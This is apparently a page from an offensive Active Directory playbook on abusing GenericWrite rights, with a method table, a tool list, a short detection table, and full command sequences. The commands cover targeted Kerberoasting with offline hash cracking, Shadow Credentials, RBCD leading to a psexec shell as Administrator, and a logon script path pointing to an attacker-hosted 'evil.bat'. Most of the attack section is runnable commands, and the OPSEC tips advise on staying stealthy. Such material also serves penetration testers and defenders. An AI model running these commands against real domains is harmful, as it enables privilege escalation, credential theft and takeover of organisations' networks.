π‘ Attack #20 β GenericWrite Abuse#
π How It Works#
GenericWrite allows an attacker to write to any non-protected attribute on a target AD object. While it doesn't grant full control like GenericAll, it enables several powerful exploitation paths: Targeted Kerberoasting (set an SPN on a user, roast their hash), Shadow Credentials (write to msDS-KeyCredentialLink for passwordless auth), logon script modification, and RBCD configuration (write to msDS-AllowedToActOnBehalfOfOtherIdentity on computers).
Exploitation Methods by Target Type#
| Target Type |
Method |
What You Write |
Result |
| User |
Targeted Kerberoasting |
servicePrincipalName |
Crack their hash offline |
| User |
Shadow Credentials |
msDS-KeyCredentialLink |
Auth as target via PKINIT |
| User |
Logon Script |
scriptPath |
Code execution on next logon |
| Computer |
RBCD |
msDS-AllowedToActOnBehalfOfOtherIdentity |
Impersonate any user to that host |
| Computer |
Shadow Credentials |
msDS-KeyCredentialLink |
Auth as that computer |
| Group |
β Cannot add members |
N/A |
GenericWrite β WriteMembers for groups |
βοΈ Prerequisites#
| Requirement |
Detail |
| GenericWrite ACE on target |
Must exist in the target object's DACL |
| Domain user account |
Any authenticated domain user |
| Tool |
Platform |
Notes |
| PowerView |
Windows |
Set-DomainObject for attribute manipulation |
| Whisker |
Windows |
Shadow Credentials exploitation |
| pyWhisker |
Linux |
Python Shadow Credentials tool |
| Certipy |
Linux |
shadow auto for automated Shadow Creds |
| Rubeus |
Windows |
Kerberoasting, PKINIT auth |
| bloodyAD |
Linux |
All-in-one AD exploitation |
π» Full Commands#
π΄ Method 1 β Targeted Kerberoasting#
# ββ Set SPN on target user ββββββββββββββββββββββββββββββββββββββββββββββββββββ
Set-DomainObject -Identity targetadmin -Set @{serviceprincipalname='fake/kerberoast'}
# ββ Roast the hash ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
.\Rubeus.exe kerberoast /user:targetadmin /outfile:roast.txt
# ββ Crack offline βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
hashcat -m 13100 roast.txt rockyou.txt --force
# ββ Clean up β remove the SPN ββββββββββββββββββββββββββββββββββββββββββββββββ
Set-DomainObject -Identity targetadmin -Clear serviceprincipalname
# ββ Linux β targeted kerberoasting ββββββββββββββββββββββββββββββββββββββββββββ
# Set SPN via bloodyAD
bloodyAD -d corp.local -u low_user -p 'Password1' --host DC01.corp.local \
set object targetadmin servicePrincipalName -v 'fake/kerberoast'
# Roast
GetUserSPNs.py corp.local/low_user:'Password1' -dc-ip 10.10.10.10 \
-request-user targetadmin -outputfile roast.txt
# Clean up
bloodyAD -d corp.local -u low_user -p 'Password1' --host DC01.corp.local \
set object targetadmin servicePrincipalName
π΄ Method 2 β Shadow Credentials#
# ββ Whisker β add shadow credential to target user βββββββββββββββββββββββββββ
.\Whisker.exe add /target:targetadmin /domain:corp.local /dc:DC01.corp.local
# Outputs a Rubeus command to request TGT with the new key credential
# Run the outputted Rubeus command to get a TGT as targetadmin
# ββ pyWhisker βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
python3 pywhisker.py -d corp.local -u low_user -p 'Password1' \
--target targetadmin --action add --dc-ip 10.10.10.10
# ββ Certipy shadow auto (easiest) ββββββββββββββββββββββββββββββββββββββββββββ
certipy shadow auto -u low_user@corp.local -p 'Password1' \
-account targetadmin -dc-ip 10.10.10.10 -dc-host dc01.corp.local
# Outputs: NT hash and TGT for targetadmin
π΄ Method 3 β RBCD (on Computer objects)#
# ββ Configure RBCD on target computer βββββββββββββββββββββββββββββββββββββββββ
addcomputer.py -computer-name 'FAKE$' -computer-pass 'Pass123!' \
-dc-ip 10.10.10.10 corp.local/low_user:'Password1'
rbcd.py -delegate-from 'FAKE$' -delegate-to 'TARGET$' \
-action write -dc-ip 10.10.10.10 corp.local/low_user:'Password1'
getST.py -spn cifs/TARGET.corp.local -impersonate Administrator \
-dc-ip 10.10.10.10 corp.local/'FAKE$':'Pass123!'
export KRB5CCNAME=Administrator@cifs_TARGET.corp.local@CORP.LOCAL.ccache
psexec.py -k -no-pass corp.local/Administrator@TARGET.corp.local
π΄ Method 4 β Logon Script Modification#
# ββ Set malicious logon script path βββββββββββββββββββββββββββββββββββββββββββ
Set-DomainObject -Identity targetadmin -Set @{scriptpath='\\ATTACKER\share\evil.bat'}
# Next time targetadmin logs in, evil.bat executes in their context
π― OPSEC Tips#
- Shadow Credentials is the stealthiest method β original password unchanged, persistent access
- Targeted Kerberoasting requires cleanup β always remove the SPN after getting the hash
- GenericWrite on groups does NOT let you add members β you need WriteMembers or GenericAll for that
- Monitor Event 5136 for all methods β it catches attribute modifications
π‘οΈ Detection β Event IDs#
| Event ID |
Source |
What to Look For |
| 5136 |
Security Log (DC) |
Attribute modification: servicePrincipalName, msDS-KeyCredentialLink, scriptPath, msDS-AllowedToActOnBehalfOfOtherIdentity |
| 4738 |
Security Log (DC) |
User account changed β SPN modification |
| 4741 |
Security Log (DC) |
Computer account created (RBCD path) |
π Attack Chain Context#
[GenericWrite] βββ Multiple Escalation Paths
β
ββββ π« Targeted Kerberoasting β crack password β impersonate user
ββββ π Shadow Credentials β passwordless auth as target
ββββ π» RBCD on computers β impersonate DA to that host
ββββ π Logon script β code execution on target's next logon
ββββ π Defeated by: ACL auditing, monitor 5136, least privilege
β
Attack #20 β GenericWrite Abuse complete.